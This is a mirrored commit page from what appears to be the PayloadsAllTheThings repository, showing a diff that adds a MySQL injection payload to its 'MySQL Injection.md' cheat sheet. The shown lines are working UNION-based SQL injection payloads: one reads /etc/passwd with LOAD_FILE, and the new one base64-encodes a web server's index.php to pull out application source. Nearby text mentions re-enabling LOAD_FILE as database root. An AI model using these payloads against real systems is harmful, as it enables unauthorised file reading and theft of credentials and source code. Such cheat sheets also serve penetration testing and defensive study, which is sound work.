mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
Merge pull request #422 from A1vinSmith/master
Update MySQL Injection.md
This commit is contained in:
commit
e68dc99749
@ -389,6 +389,10 @@ Need the `filepriv`, otherwise you will get the error : `ERROR 1290 (HY000): The
|
|||||||
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
|
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
|
||||||
```
|
```
|
||||||
|
|
||||||
|
```sql
|
||||||
|
UNION ALL SELECT TO_base64(LOAD_FILE('/var/www/html/index.php'));
|
||||||
|
```
|
||||||
|
|
||||||
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
|
If you are `root` on the database, you can re-enable the `LOAD_FILE` using the following query
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
|
Loading…
Reference in New Issue
Block a user